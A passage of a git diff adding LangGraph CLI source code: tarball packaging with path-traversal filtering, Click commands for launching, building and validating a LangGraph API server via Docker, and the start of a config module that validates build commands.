* 1024 # 200 MB + + +def _tar_filter(tarinfo: tarfile.TarInfo) -> tarfile.TarInfo | None: + """Strip symlinks, hardlinks, and traversal paths from archive.""" + if tarinfo.issym() or tarinfo.islnk(): + return None + if ".." in tarinfo.name.split("/"): + return None + return tarinfo + + +def _add_directory( + tar: tarfile.TarFile, + source_dir: pathlib.Path, + arcname_prefix: str | None, + ignore_spec: pathspec.PathSpec, +) -> None: + """Recursively add a directory to the tarball under the given prefix. + + If arcname_prefix is None, files are added at the archive root. + Paths matching ignore_spec are excluded. + """ + for root, dirs, files in os.walk(source_dir): + rel_root = os.path.relpath(root, source_dir).replace(os.sep, "/") + dirs[:] = [ + d + for d in dirs + if not ignore_spec.match_file( + f"{rel_root}/{d}/" if rel_root != "." else f"{d}/" + ) + ] + for f in files: + full_path = os.path.join(root, f) + rel = os.path.relpath(full_path, source_dir).replace(os.sep, "/") + if ignore_spec.match_file(rel): + continue + arcname = f"{arcname_prefix}/{rel}" if arcname_prefix else rel + info = tar.gettarinfo(full_path, arcname=arcname) + filtered = _tar_filter(info) + if filtered is None: + continue + with open(full_path, "rb") as fobj: + tar.addfile(filtered, fobj) + + +@contextmanager +def create_archive( + config_path: pathlib.Path, + config: Config, +): + """Context manager that creates a .tar.gz archive of the project source. + + Uses _assemble_local_deps to discover local dependencies referenced in + langgraph.json, including those outside config.parent (monorepo case). + + The archive preserves the real filesystem layout relative to the common + ancestor of config.parent and all external dependency directories, so that + relative references (e.g. `../shared-lib`) resolve correctly after + extraction. + + Yields (archive_path, file_size, config_relative_path). The temporary + directory holding the archive is cleaned up automatically on exit. + """ + config_path = config_path.resolve() + context_dir = config_path.parent + + local_deps = _assemble_local_deps(config_path, config) + extra_contexts = local_deps.additional_contexts or [] + + dirs_to_include = [context_dir] + list(extra_contexts) + + common = context_dir + for d in extra_contexts: + common = pathlib.Path(os.path.commonpath([common, d])) + + tmp_dir = tempfile.mkdtemp(prefix="langgraph-deploy-") + try: + archive_path = os.path.join(tmp_dir, "source.tar.gz") + + added_dirs: set[str] = set() + with tarfile.open(archive_path, "w:gz") as tar: + for dir_path in dirs_to_include: + rel = dir_path.relative_to(common) + prefix = str(rel).replace(os.sep, "/") if str(rel) != "." else None + key = prefix or "" + if key in added_dirs: + continue + added_dirs.add(key) + ignore_spec = _build_ignore_spec(dir_path) + _add_directory( + tar, dir_path, arcname_prefix=prefix, ignore_spec=ignore_spec + ) + + file_size = os.path.getsize(archive_path) + + config_rel = str(config_path.relative_to(common)).replace(os.sep, "/") + + with tarfile.open(archive_path, "r:gz") as tar: + names = tar.getnames() + if config_rel not in names: + raise click.ClickException( + f"Archive validation failed: {config_rel} not found in archive" + ) + + if file_size > _MAX_SIZE: + raise click.ClickException( + f"Source archive is {file_size / 1_048_576:.1f} MB, which exceeds the 200 MB limit. " + "Add large files to .dockerignore or .gitignore (model weights, data sets, etc.)." + ) + + if file_size > _WARN_SIZE: + click.secho( + f" Warning: source archive is {file_size / 1_048_576:.1f} MB. " + "Consider adding large files to .dockerignore or .gitignore.", + fg="yellow", + ) + + yield archive_path, file_size, config_rel + finally: + import shutil + + shutil.rmtree(tmp_dir, ignore_errors=True) diff --git a/libs/cli/langgraph_cli/cli.py b/libs/cli/langgraph_cli/cli.py new file mode 100644 index 0000000..3a3b8b6 --- /dev/null +++ b/libs/cli/langgraph_cli/cli.py @@ -0,0 +1,1043 @@ +"""CLI entrypoint for LangGraph API server.""" + +import os +import pathlib +import shutil +import sys +from collections.abc import Sequence + +import click +import click.exceptions + +import langgraph_cli.config +import langgraph_cli.docker +from langgraph_cli.analytics import log_command +from langgraph_cli.config import Config +from langgraph_cli.constants import DEFAULT_CONFIG, DEFAULT_PORT +from langgraph_cli.deploy import deploy +from langgraph_cli.docker import DockerCapabilities, build_docker_image +from langgraph_cli.exec import Runner, subp_exec +from langgraph_cli.progress import Progress +from langgraph_cli.templates import TEMPLATE_HELP_STRING, create_new +from langgraph_cli.util import warn_non_wolfi_distro +from langgraph_cli.version import __version__ + +# --------------------------------------------------------------------------- +# Shared Click options (non-deploy) +# --------------------------------------------------------------------------- + +OPT_DOCKER_COMPOSE = click.option( + "--docker-compose", + "-d", + help="Advanced: Path to docker-compose.yml file with additional services to launch.", + type=click.Path( + exists=True, + file_okay=True, + dir_okay=False, + resolve_path=True, + path_type=pathlib.Path, + ), +) +OPT_CONFIG = click.option( + "--config", + "-c", + help="""Path to configuration file declaring dependencies, graphs and environment variables. + + \b + Config file must be a JSON file that has the following keys: + - "dependencies": array of dependencies for langgraph API server. Dependencies can be one of the following: + - ".", which would look for local python packages, as well as pyproject.toml, setup.py or requirements.txt in the app directory + - "./local_package" + - " + - "graphs": mapping from graph ID to path where the compiled graph is defined, i.e. ./your_package/your_file.py:variable, where + "variable" is an instance of langgraph.graph.graph.CompiledGraph + - "env": (optional) path to .env file or a mapping from environment variable to its value + - "python_version": (optional) 3.11, 3.12, or 3.13. Defaults to 3.11 + - "pip_config_file": (optional) path to pip config file + - "dockerfile_lines": (optional) array of additional lines to add to Dockerfile following the import from parent image + + \b + Example: + langgraph up -c langgraph.json + + \b + Example: + { + "dependencies": [ + "langchain_openai", + "./your_package" + ], + "graphs": { + "my_graph_id": "./your_package/your_file.py:variable" + }, + "env": "./.env" + } + + \b + Example: + { + "python_version": "3.11", + "dependencies": [ + "langchain_openai", + "." + ], + "graphs": { + "my_graph_id": "./your_package/your_file.py:variable" + }, + "env": { + "OPENAI_API_KEY": "secret-key" + } + } + + Defaults to looking for langgraph.json in the current directory.""", + default=DEFAULT_CONFIG, + type=click.Path( + exists=True, + file_okay=True, + dir_okay=False, + resolve_path=True, + path_type=pathlib.Path, + ), +) +OPT_PORT = click.option( + "--port", + "-p", + type=int, + default=DEFAULT_PORT, + show_default=True, + help=""" + Port to expose. + + \b + Example: + langgraph up --port 8000 + \b + """, +) +OPT_RECREATE = click.option( + "--recreate/--no-recreate", + default=False, + show_default=True, + help="Recreate containers even if their configuration and image haven't changed", +) +OPT_PULL = click.option( + "--pull/--no-pull", + default=True, + show_default=True, + help=""" + Pull latest images. Use --no-pull for running the server with locally-built images. + + \b + Example: + langgraph up --no-pull + \b + """, +) +OPT_VERBOSE = click.option( + "--verbose", + is_flag=True, + default=False, + help="Show more output from the server logs", +) +OPT_WATCH = click.option("--watch", is_flag=True, help="Restart on file changes") +OPT_DEBUGGER_PORT = click.option( + "--debugger-port", + type=int, + help="Pull the debugger image locally and serve the UI on specified port", +) +OPT_DEBUGGER_BASE_URL = click.option( + "--debugger-base-url", + type=str, + help="URL used by the debugger to access LangGraph API. Defaults to http://127.0.0.1:[PORT]", +) + +OPT_POSTGRES_URI = click.option( + "--postgres-uri", + help="Postgres URI to use for the database. Defaults to launching a local database", +) + +OPT_API_VERSION = click.option( + "--api-version", + type=str, + help=( + "API server version to use for the base image. If unspecified, the " + "latest stable version will be used. Compatible ranges like " + "~=0.11.0.dev5 stay on 0.11.0.dev5 while only newer dev builds exist, " + "then resolve to the newest matching rc or stable release, for example " + "0.11.0rc1 or 0.11.0. Stable-floating ranges like >~=0.11.0.dev5 " + "can also pick up future stable releases, for example 0.12.0." + ), +) + +OPT_ENGINE_RUNTIME_MODE = click.option( + "--engine-runtime-mode", + type=click.Choice(["combined_queue_worker", "distributed"]), + default="combined_queue_worker", + help="Runtime mode. 'distributed' uses separate executor and orchestrator containers.", +) + + +# --------------------------------------------------------------------------- +# Top-level CLI group +# --------------------------------------------------------------------------- + + +class NestedHelpGroup(click.Group): + """Click group that shows one level of nested subcommands in top-level help.""" + + def format_commands( + self, ctx: click.Context, formatter: click.HelpFormatter + ) -> None: + command_entries: list[tuple[str, click.Command]] = [] + + def collect_commands( + group: click.Group, parent_ctx: click.Context, prefix: str = "" + ) -> None: + for command_name in group.list_commands(parent_ctx): + command = group.get_command(parent_ctx, command_name) + if command is None or command.hidden: + continue + qualified_name = f"{prefix} {command_name}" if prefix else command_name + command_entries.append((qualified_name, command)) + if isinstance(command, click.Group): + sub_ctx = click.Context( + command, + info_name=qualified_name, + parent=parent_ctx, + ) + collect_commands(command, sub_ctx, qualified_name) + + collect_commands(self, ctx) + + # Compute the available width for help text up front so we can truncate + # descriptions before handing them to Click. That keeps each command on + # a single line instead of allowing wrapped descriptions. + command_width = max((len(name) for name, _ in command_entries), default=0) + help_width = max(formatter.width - command_width - 6, 10) + rows = [ + (name, command.get_short_help_str(help_width)) + for name, command in command_entries + ] + + if rows: + # Render the flattened command list using Click's standard + # definition-list formatter so alignment stays consistent with the + # rest of the CLI help output. + with formatter.section("Commands"): + formatter.write_dl(rows) + + +@click.group(cls=NestedHelpGroup) +@click.version_option(version=__version__, prog_name="LangGraph CLI") +def cli(): + pass + + +# Wire the deploy group (defined in deploy.py) into the top-level CLI. +cli.add_command(deploy) + + +# --------------------------------------------------------------------------- +# up command +# --------------------------------------------------------------------------- + + +@OPT_RECREATE +@OPT_PULL +@OPT_PORT +@OPT_DOCKER_COMPOSE +@OPT_CONFIG +@OPT_VERBOSE +@OPT_DEBUGGER_PORT +@OPT_DEBUGGER_BASE_URL +@OPT_WATCH +@OPT_POSTGRES_URI +@OPT_API_VERSION +@OPT_ENGINE_RUNTIME_MODE +@click.option( + "--image", + type=str, + default=None, + help="Docker image to use for the langgraph-api service. If specified, skips building and uses this image directly." + " Useful if you want to test against an image already built using `langgraph build`.", +) +@click.option( + "--base-image", + default=None, + help="Base image to use for the LangGraph API server. Pin to specific versions using version tags. Defaults to langchain/langgraph-api or langchain/langgraphjs-api." + "\n\n \b\nExamples:\n --base-image langchain/langgraph-server:0.2.18 # Pin to a specific patch version" + "\n --base-image langchain/langgraph-server:0.2 # Pin to a minor version (Python)", +) +@click.option( + "--wait", + is_flag=True, + help="Wait for services to start before returning. Implies --detach", +) +@cli.command(help="🚀 Launch LangGraph API server.") +@log_command +def up( + config: pathlib.Path, + docker_compose: pathlib.Path | None, + port: int, + recreate: bool, + pull: bool, + watch: bool, + wait: bool, + verbose: bool, + debugger_port: int | None, + debugger_base_url: str | None, + postgres_uri: str | None, + api_version: str | None, + engine_runtime_mode: str, + image: str | None, + base_image: str | None, +): + click.secho("Starting LangGraph API server...", fg="green") + click.secho( + """For local dev, requires env var LANGSMITH_API_KEY with access to LangSmith Deployment. +For production use, requires a license key in env var LANGGRAPH_CLOUD_LICENSE_KEY.""", + ) + with Runner() as runner, Progress(message="Pulling...") as set: + capabilities = langgraph_cli.docker.check_capabilities(runner) + args, stdin = prepare( + runner, + capabilities=capabilities, + config_path=config, + docker_compose=docker_compose, + port=port, + pull=pull, + watch=watch, + verbose=verbose, + debugger_port=debugger_port, + debugger_base_url=debugger_base_url, + postgres_uri=postgres_uri, + api_version=api_version, + engine_runtime_mode=engine_runtime_mode, + image=image, + base_image=base_image, + ) + # add up + options + args.extend(["up", "--remove-orphans"]) + if recreate: + args.extend(["--force-recreate", "--renew-anon-volumes"]) + try: + runner.run(subp_exec("docker", "volume", "rm", "langgraph-data")) + except click.exceptions.Exit: + pass + if watch: + args.append("--watch") + if wait: + args.append("--wait") + else: + args.append("--abort-on-container-exit") + # run docker compose + set("Building...") + + def on_stdout(line: str): + if "unpacking to docker.io" in line: + set("Starting...") + elif "Application startup complete" in line: + debugger_origin = ( + f"http://localhost:{debugger_port}" + if debugger_port + else "https://smith.langchain.com" + ) + debugger_base_url_query = ( + debugger_base_url or f"http://127.0.0.1:{port}" + ) + set("") + sys.stdout.write( + f"""Ready! +- API: http://localhost:{port} +- Docs: http://localhost:{port}/docs +- LangGraph Studio: {debugger_origin}/studio/?baseUrl={debugger_base_url_query} +""" + ) + sys.stdout.flush() + return True + + if capabilities.compose_type == "plugin": + compose_cmd = ["docker", "compose"] + elif capabilities.compose_type == "standalone": + compose_cmd = ["docker-compose"] + + runner.run( + subp_exec( + *compose_cmd, + *args, + input=stdin, + verbose=verbose, + on_stdout=on_stdout, + ) + ) + + +# --------------------------------------------------------------------------- +# build command +# --------------------------------------------------------------------------- + + +@OPT_CONFIG +@OPT_PULL +@click.option( + "--tag", + "-t", + help="""Tag for the docker image. + + \b + Example: + langgraph build -t my-image + + \b + """, + required=True, +) +@click.option( + "--base-image", + help="Base image to use for the LangGraph API server. Pin to specific versions using version tags. Defaults to langchain/langgraph-api or langchain/langgraphjs-api." + "\n\n \b\nExamples:\n --base-image langchain/langgraph-server:0.2.18 # Pin to a specific patch version" + "\n --base-image langchain/langgraph-server:0.2 # Pin to a minor version (Python)", +) +@OPT_API_VERSION +@OPT_ENGINE_RUNTIME_MODE +@click.option( + "--install-command", + help="Custom install command to run from the build context root. If not provided, auto-detects based on package manager files.", +) +@click.option( + "--build-command", + help="Custom build command to run from the langgraph.json directory. If not provided, uses default build process.", +) +@click.argument("docker_build_args", nargs=-1, type=click.UNPROCESSED) +@cli.command( + help="📦 Build LangGraph API server Docker image.", + context_settings=dict( + ignore_unknown_options=True, + ), +) +@log_command +def build( + config: pathlib.Path, + docker_build_args: Sequence[str], + base_image: str | None, + api_version: str | None, + engine_runtime_mode: str, + pull: bool, + tag: str, + install_command: str | None, + build_command: str | None, +): + if install_command and langgraph_cli.config.has_disallowed_build_command_content( + install_command + ): + raise click.UsageError( + "install_command contains disallowed characters or patterns." + ) + if build_command and langgraph_cli.config.has_disallowed_build_command_content( + build_command + ): + raise click.UsageError( + "build_command contains disallowed characters or patterns." + ) + with Runner() as runner, Progress(message="Pulling...") as set: + if shutil.which("docker") is None: + raise click.UsageError("Docker not installed") from None + config_json = langgraph_cli.config.validate_config_file(config) + warn_non_wolfi_distro(config_json) + effective_base_image = base_image + if engine_runtime_mode == "distributed" and not base_image: + effective_base_image = langgraph_cli.config.default_base_image( + config_json, engine_runtime_mode=engine_runtime_mode + ) + build_docker_image( + runner, + set, + config, + config_json, + effective_base_image, + api_version, + pull, + tag, + docker_build_args, + install_command, + build_command, + ) + + +# --------------------------------------------------------------------------- +# dockerfile command +# --------------------------------------------------------------------------- + + +def _get_docker_ignore_content() -> str: + """Return the content of a .dockerignore file. + + This file is used to exclude files and directories from the Docker build context. + + It may be overly broad, but it's better to be safe than sorry. + + The main goal is to exclude .env files by default. + """ + return """\ +# Ignore node_modules and other dependency directories +node_modules +bower_components +vendor + +# Ignore logs and temporary files +*.log +*.tmp +*.swp + +# Ignore .env files and other environment files +.env +.env.* +*.local + +# Ignore git-related files +.git +.gitignore + +# Ignore Docker-related files and configs +.dockerignore +docker-compose.yml + +# Ignore build and cache directories +dist +build +.cache +__pycache__ + +# Ignore IDE and editor configurations +.vscode +.idea +*.sublime-project +*.sublime-workspace +.DS_Store # macOS-specific + +# Ignore test and coverage files +coverage +*.coverage +*.test.js +*.spec.js +tests +""" + + +@OPT_CONFIG +@click.argument("save_path", type=click.Path(resolve_path=True)) +@cli.command( + help="🐳 Generate a Dockerfile for the LangGraph API server, with Docker Compose options." +) +@click.option( + "--add-docker-compose", + help=( + "Add additional files for running the LangGraph API server with " + "docker-compose. These files include a docker-compose.yml, .env file, " + "and a .dockerignore file." + ), + is_flag=True, +) +@click.option( + "--base-image", + help="Base image to use for the LangGraph API server. Pin to specific versions using version tags. Defaults to langchain/langgraph-api or langchain/langgraphjs-api." + "\n\n \b\nExamples:\n --base-image langchain/langgraph-server:0.2.18 # Pin to a specific patch version" + "\n --base-image langchain/langgraph-server:0.2 # Pin to a minor version (Python)", +) +@OPT_API_VERSION +@OPT_ENGINE_RUNTIME_MODE +@log_command +def dockerfile( + save_path: str, + config: pathlib.Path, + add_docker_compose: bool, + base_image: str | None = None, + api_version: str | None = None, + engine_runtime_mode: str = "combined_queue_worker", +) -> None: + from click import secho + + save_path = pathlib.Path(save_path).absolute() + secho(f"🔍 Validating configuration at path: {config}", fg="yellow") + config_json = langgraph_cli.config.validate_config_file(config) + warn_non_wolfi_distro(config_json) + secho("✅ Configuration validated!", fg="green") + + effective_base_image = base_image + if engine_runtime_mode == "distributed" and not base_image: + effective_base_image = langgraph_cli.config.default_base_image( + config_json, engine_runtime_mode=engine_runtime_mode + ) + + secho(f"📝 Generating Dockerfile at {save_path}", fg="yellow") + dockerfile_content, additional_contexts = langgraph_cli.config.config_to_docker( + config_path=config, + config=config_json, + base_image=effective_base_image, + api_version=api_version, + ) + with open(str(save_path), "w", encoding="utf-8") as f: + f.write(dockerfile_content) + secho("✅ Created: Dockerfile", fg="green") + + if additional_contexts: + additional_contexts_str = ",".join( + f"{k}={v}" for k, v in additional_contexts.items() + ) + secho( + f"""📝 Run docker build with these additional build contexts `--build-context {additional_contexts_str}`""", + fg="yellow", + ) + + if add_docker_compose: + # Add docker compose and related files + # Add .dockerignore file in the same directory as the Dockerfile + with open(str(save_path.parent / ".dockerignore"), "w", encoding="utf-8") as f: + f.write(_get_docker_ignore_content()) + secho("✅ Created: .dockerignore", fg="green") + + # Generate a docker-compose.yml file + path = str(save_path.parent / "docker-compose.yml") + with open(path, "w", encoding="utf-8") as f: + with Runner() as runner: + capabilities = langgraph_cli.docker.check_capabilities(runner) + + compose_dict = langgraph_cli.docker.compose_as_dict( + capabilities, + port=8123, + base_image=base_image, + ) + # Add .env file to the docker-compose.yml for the langgraph-api service + compose_dict["services"]["langgraph-api"]["env_file"] = [".env"] + # Add the Dockerfile to the build context + compose_dict["services"]["langgraph-api"]["build"] = { + "context": ".", + "dockerfile": save_path.name, + } + # Add the base_image as build arg if provided + if base_image: + compose_dict["services"]["langgraph-api"]["build"]["args"] = { + "BASE_IMAGE": base_image + } + f.write(langgraph_cli.docker.dict_to_yaml(compose_dict)) + secho("✅ Created: docker-compose.yml", fg="green") + + # Check if the .env file exists in the same directory as the Dockerfile + if not (save_path.parent / ".env").exists(): + # Also add an empty .env file + with open(str(save_path.parent / ".env"), "w", encoding="utf-8") as f: + f.writelines( + [ + "# Uncomment the following line to add your LangSmith API key", + "\n", + "# LANGSMITH_API_KEY=your-api-key", + "\n", + "# Or if you have a LangSmith Deployment license key, " + "then uncomment the following line: ", + "\n", + "# LANGGRAPH_CLOUD_LICENSE_KEY=your-license-key", + "\n", + "# Add any other environment variables go below...", + ] + ) + + secho("✅ Created: .env", fg="green") + else: + # Do nothing since the .env file already exists. Not a great + # idea to overwrite in case the user has added custom env vars set + # in the .env file already. + secho("➖ Skipped: .env. It already exists!", fg="yellow") + + secho( + f"🎉 Files generated successfully at path {save_path.parent}!", + fg="cyan", + bold=True, + ) + + +# --------------------------------------------------------------------------- +# dev command +# --------------------------------------------------------------------------- + + +@click.option( + "--host", + default="127.0.0.1", + help="Network interface to bind the development server to. Default 127.0.0.1 is recommended for security. Only use 0.0.0.0 in trusted networks", +) +@click.option( + "--port", + default=2024, + type=int, + help="Port number to bind the development server to. Example: langgraph dev --port 8000", +) +@click.option( + "--no-reload", + is_flag=True, + help="Disable automatic reloading when code changes are detected", +) +@click.option( + "--config", + type=click.Path(exists=True), + default="langgraph.json", + help="Path to configuration file declaring dependencies, graphs and environment variables", +) +@click.option( + "--n-jobs-per-worker", + default=None, + type=int, + help="Maximum number of concurrent jobs each worker process can handle. Default: 10", +) +@click.option( + "--no-browser", + is_flag=True, + help="Skip automatically opening the browser when the server starts", +) +@click.option( + "--debug-port", + default=None, + type=int, + help="Enable remote debugging by listening on specified port. Requires debugpy to be installed", +) +@click.option( + "--wait-for-client", + is_flag=True, + help="Wait for a debugger client to connect to the debug port before starting the server", + default=False, +) +@click.option( + "--studio-url", + type=str, + default=None, + help="URL of the LangGraph Studio instance to connect to. Defaults to https://smith.langchain.com", +) +@click.option( + "--allow-blocking", + is_flag=True, + help="Don't raise errors for synchronous I/O blocking operations in your code.", + default=False, +) +@click.option( + "--tunnel", + is_flag=True, + help="Expose the local server via a public tunnel (in this case, Cloudflare) " + "for remote frontend access. This avoids issues with browsers " + "or networks blocking localhost connections.", + default=False, +) +@click.option( + "--server-log-level", + type=str, + default="WARNING", + help="Set the log level for the API server.", +) +@click.option( + "--ssl-certfile", + type=click.Path( + exists=True, + file_okay=True, + dir_okay=False, + resolve_path=True, + path_type=pathlib.Path, + ), + default=None, + help="Path to an SSL certificate file for serving the development server over HTTPS.", +) +@click.option( + "--ssl-keyfile", + type=click.Path( + exists=True, + file_okay=True, + dir_okay=False, + resolve_path=True, + path_type=pathlib.Path, + ), + default=None, + help="Path to an SSL key file for serving the development server over HTTPS.", +) +@cli.command( + "dev", + help="🏃‍♀️‍➡️ Run LangGraph API server in development mode with hot reloading and debugging support", +) +@log_command +def dev( + host: str, + port: int, + no_reload: bool, + config: str, + n_jobs_per_worker: int | None, + no_browser: bool, + debug_port: int | None, + wait_for_client: bool, + studio_url: str | None, + allow_blocking: bool, + tunnel: bool, + server_log_level: str, + ssl_certfile: pathlib.Path | None, + ssl_keyfile: pathlib.Path | None, +): + """CLI entrypoint for running the LangGraph API server.""" + if (ssl_certfile is None) != (ssl_keyfile is None): + raise click.UsageError( + "Both --ssl-certfile and --ssl-keyfile must be provided to enable HTTPS." + ) + + if ssl_certfile and ssl_keyfile and tunnel: + raise click.UsageError( + "Cannot use --tunnel with SSL options. Please choose either to serve over HTTPS or to expose via a tunnel, but not both." + ) + + try: + from langgraph_api.cli import run_server # type: ignore + except ImportError: + py_version_msg = "" + if sys.version_info < (3, 11): + py_version_msg = ( + "\n\nNote: The in-mem server requires Python 3.11 or higher to be installed." + f" You are currently using Python {sys.version_info.major}.{sys.version_info.minor}." + ' Please upgrade your Python version before installing "langgraph-cli[inmem]".' + ) + try: + from importlib import util + + if not util.find_spec("langgraph_api"): + raise click.UsageError( + "Required package 'langgraph-api' is not installed.\n" + "Please install it with:\n\n" + ' pip install -U "langgraph-cli[inmem]"' + f"{py_version_msg}" + ) from None + except ImportError: + raise click.UsageError( + "Could not verify package installation. Please ensure Python is up to date and\n" + "langgraph-cli is installed with the 'inmem' extra: pip install -U \"langgraph-cli[inmem]\"" + f"{py_version_msg}" + ) from None + raise click.UsageError( + "Could not import run_server. This likely means your installation is incomplete.\n" + "Please ensure langgraph-cli is installed with the 'inmem' extra: pip install -U \"langgraph-cli[inmem]\"" + f"{py_version_msg}" + ) from None + + config_json = langgraph_cli.config.validate_config_file(pathlib.Path(config)) + if config_json.get("node_version"): + raise click.UsageError( + "In-mem server for JS graphs is not supported in this version of the LangGraph CLI. Please use `npx @langchain/langgraph-cli` instead." + ) from None + + cwd = os.getcwd() + sys.path.append(cwd) + dependencies = config_json.get("dependencies", []) + for dep in dependencies: + dep_path = pathlib.Path(cwd) / dep + if dep_path.is_dir() and dep_path.exists(): + sys.path.append(str(dep_path)) + + graphs = config_json.get("graphs", {}) + + run_server( + host, + port, + not no_reload, + graphs, + n_jobs_per_worker=n_jobs_per_worker, + open_browser=not no_browser, + debug_port=debug_port, + env=config_json.get("env"), + store=config_json.get("store"), + wait_for_client=wait_for_client, + auth=config_json.get("auth"), + http=config_json.get("http"), + ui=config_json.get("ui"), + ui_config=config_json.get("ui_config"), + webhooks=config_json.get("webhooks"), + studio_url=studio_url, + allow_blocking=allow_blocking, + tunnel=tunnel, + server_level=server_log_level, + checkpointer=config_json.get("checkpointer"), + disable_persistence=config_json.get("disable_persistence", False), + ssl_certfile=ssl_certfile, + ssl_keyfile=ssl_keyfile, + ) + + +# --------------------------------------------------------------------------- +# validate command +# --------------------------------------------------------------------------- + + +@OPT_CONFIG +@cli.command(help="✅ Validate the LangGraph configuration file.") +@log_command +def validate(config: pathlib.Path): + import json + + try: + with open(config) as f: + raw_config = json.load(f) + except json.JSONDecodeError as e: + raise click.UsageError(f"Invalid JSON in {config}: {e.args[0]}") from None + + # Check for unknown keys before validation so they show alongside any error. + unknown_warnings = langgraph_cli.config.get_unknown_keys(raw_config) + + try: + config_json = langgraph_cli.config.validate_config_file(config) + except (click.UsageError, ValueError) as e: + click.secho(f"Error: {e}", fg="red", err=True) + if unknown_warnings: + click.echo(err=True) + for warning in unknown_warnings: + click.secho(f" warning: {warning}", fg="yellow", err=True) + raise SystemExit(1) from None + + num_graphs = len(config_json.get("graphs", {})) + click.secho( + f"Configuration file {config} is valid. " + f"({num_graphs} graph{'s' if num_graphs != 1 else ''} found)", + fg="green", + ) + if unknown_warnings: + click.echo() + for warning in unknown_warnings: + click.secho(f" warning: {warning}", fg="yellow") + + +# --------------------------------------------------------------------------- +# new command +# --------------------------------------------------------------------------- + + +@click.argument("path", required=False) +@click.option( + "--template", + type=str, + help=TEMPLATE_HELP_STRING, +) +@cli.command("new", help="🌱 Create a new LangGraph project from a template.") +@log_command +def new(path: str | None, template: str | None) -> None: + """Create a new LangGraph project from a template.""" + return create_new(path, template) + + +# --------------------------------------------------------------------------- +# Compose helpers (used by up and tests) +# --------------------------------------------------------------------------- + + +def prepare_args_and_stdin( + *, + capabilities: DockerCapabilities, + config_path: pathlib.Path, + config: Config, + docker_compose: pathlib.Path | None, + port: int, + watch: bool, + debugger_port: int | None = None, + debugger_base_url: str | None = None, + postgres_uri: str | None = None, + api_version: str | None = None, + engine_runtime_mode: str = "combined_queue_worker", + # Like "my-tag" (if you already built it locally) + image: str | None = None, + # Like "langchain/langgraphjs-api" or "langchain/langgraph-api + base_image: str | None = None, +) -> tuple[list[str], str]: + assert config_path.exists(), f"Config file not found: {config_path}" + # prepare args + stdin = langgraph_cli.docker.compose( + capabilities, + port=port, + debugger_port=debugger_port, + debugger_base_url=debugger_base_url, + postgres_uri=postgres_uri, + image=image, + base_image=base_image, + api_version=api_version, + engine_runtime_mode=engine_runtime_mode, + ) + args = [ + "--project-directory", + str(config_path.parent), + ] + # apply options + if docker_compose: + args.extend(["-f", str(docker_compose)]) + args.extend(["-f", "-"]) # stdin + # apply config + stdin += langgraph_cli.config.config_to_compose( + config_path, + config, + watch=watch, + base_image=langgraph_cli.config.default_base_image(config), + api_version=api_version, + image=image, + engine_runtime_mode=engine_runtime_mode, + ) + return args, stdin + + +def prepare( + runner, + *, + capabilities: DockerCapabilities, + config_path: pathlib.Path, + docker_compose: pathlib.Path | None, + port: int, + pull: bool, + watch: bool, + verbose: bool, + debugger_port: int | None = None, + debugger_base_url: str | None = None, + postgres_uri: str | None = None, + api_version: str | None = None, + engine_runtime_mode: str = "combined_queue_worker", + image: str | None = None, + base_image: str | None = None, +) -> tuple[list[str], str]: + """Prepare the arguments and stdin for running the LangGraph API server.""" + config_json = langgraph_cli.config.validate_config_file(config_path) + warn_non_wolfi_distro(config_json) + # pull latest images + if pull: + runner.run( + subp_exec( + "docker", + "pull", + langgraph_cli.config.docker_tag(config_json, base_image, api_version), + verbose=verbose, + ) + ) + if engine_runtime_mode == "distributed": + executor_base = langgraph_cli.config.default_base_image( + config_json, engine_runtime_mode="distributed" + ) + runner.run( + subp_exec( + "docker", + "pull", + langgraph_cli.config.docker_tag( + config_json, executor_base, api_version + ), + verbose=verbose, + ) + ) + + args, stdin = prepare_args_and_stdin( + capabilities=capabilities, + config_path=config_path, + config=config_json, + docker_compose=docker_compose, + port=port, + watch=watch, + debugger_port=debugger_port, + debugger_base_url=debugger_base_url or f"http://127.0.0.1:{port}", + postgres_uri=postgres_uri, + api_version=api_version, + engine_runtime_mode=engine_runtime_mode, + image=image, + base_image=base_image, + ) + return args, stdin diff --git a/libs/cli/langgraph_cli/config.py b/libs/cli/langgraph_cli/config.py new file mode 100644 index 0000000..57b2251 --- /dev/null +++ b/libs/cli/langgraph_cli/config.py @@ -0,0 +1,1780 @@ +import copy +import json +import os +import pathlib +import re +import shlex +import textwrap +from collections import Counter +from typing import Literal, NamedTuple + +import click +import httpx + +from langgraph_cli.schemas import Config, Distros +from langgraph_cli.uv_lock import python_config_to_docker_uv_lock + +MIN_NODE_VERSION = "20" +DEFAULT_NODE_VERSION = "20" + +DISALLOWED_BUILD_COMMAND_CHARS = [ + '"', + "`", + "\\", + "\n", + "\r", + "\0", + "\t", + "|", + ";", + "$", + ">", + "<", +] + +# Regex pattern matching a single "&" that is NOT part of "&&". +# This blocks background execution (cmd &) while allowing command +# chaining (cmd1 && cmd2) which is common in build commands. +_SINGLE_AMPERSAND_RE = re.compile(r"(?\d+)" + r"(?:\.(?P\d+))?" + r"(?:\.(?P\d+))?" + r"(?:(?:\.|)(?:[A-Za-z][0-9A-Za-z]*))?$" +) +_API_VERSION_RANGE_PATTERN = re.compile(r"^(?P~=|>~=)\s*(?P.+)$") +_API_VERSION_PART_PATTERN = re.compile( + r"^(?P\d+)" + r"(?:\.(?P\d+))?" + r"(?:\.(?P\d+))?" + r"(?:(?:\.|)(?P
dev|rc)(?P\d+))?$"
+)
+
+
+class _ParsedApiVersion(NamedTuple):
+    release: tuple[int, ...]
+    prerelease: str | None
+    prerelease_number: int
+
+
+class _ApiVersionRange(NamedTuple):
+    floor: _ParsedApiVersion
+    allow_future_stable: bool
+
+
+_PRERELEASE_ORDER = {
+    "dev": 0,
+    "rc": 1,
+    None: 2,
+}
+
+
+def has_disallowed_build_command_content(command: str) -> bool:
+    """Check if a command string contains disallowed characters or patterns."""
+    if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
+        return True
+    if _SINGLE_AMPERSAND_RE.search(command):
+        return True
+    return False
+
+
+MIN_PYTHON_VERSION = "3.11"
+DEFAULT_PYTHON_VERSION = "3.11"
+
+DEFAULT_IMAGE_DISTRO = "debian"
+
+
+_BUILD_TOOLS = ("pip", "setuptools", "wheel")
+
+
+def _get_pip_cleanup_lines(
+    install_cmd: str,
+    to_uninstall: tuple[str] | None,
+    pip_installer: Literal["uv", "pip"],
+) -> str:
+    commands = [
+        f"""# -- Ensure user deps didn't inadvertently overwrite langgraph-api
+RUN mkdir -p /api/langgraph_api /api/langgraph_runtime /api/langgraph_license && \
+touch /api/langgraph_api/__init__.py /api/langgraph_runtime/__init__.py /api/langgraph_license/__init__.py
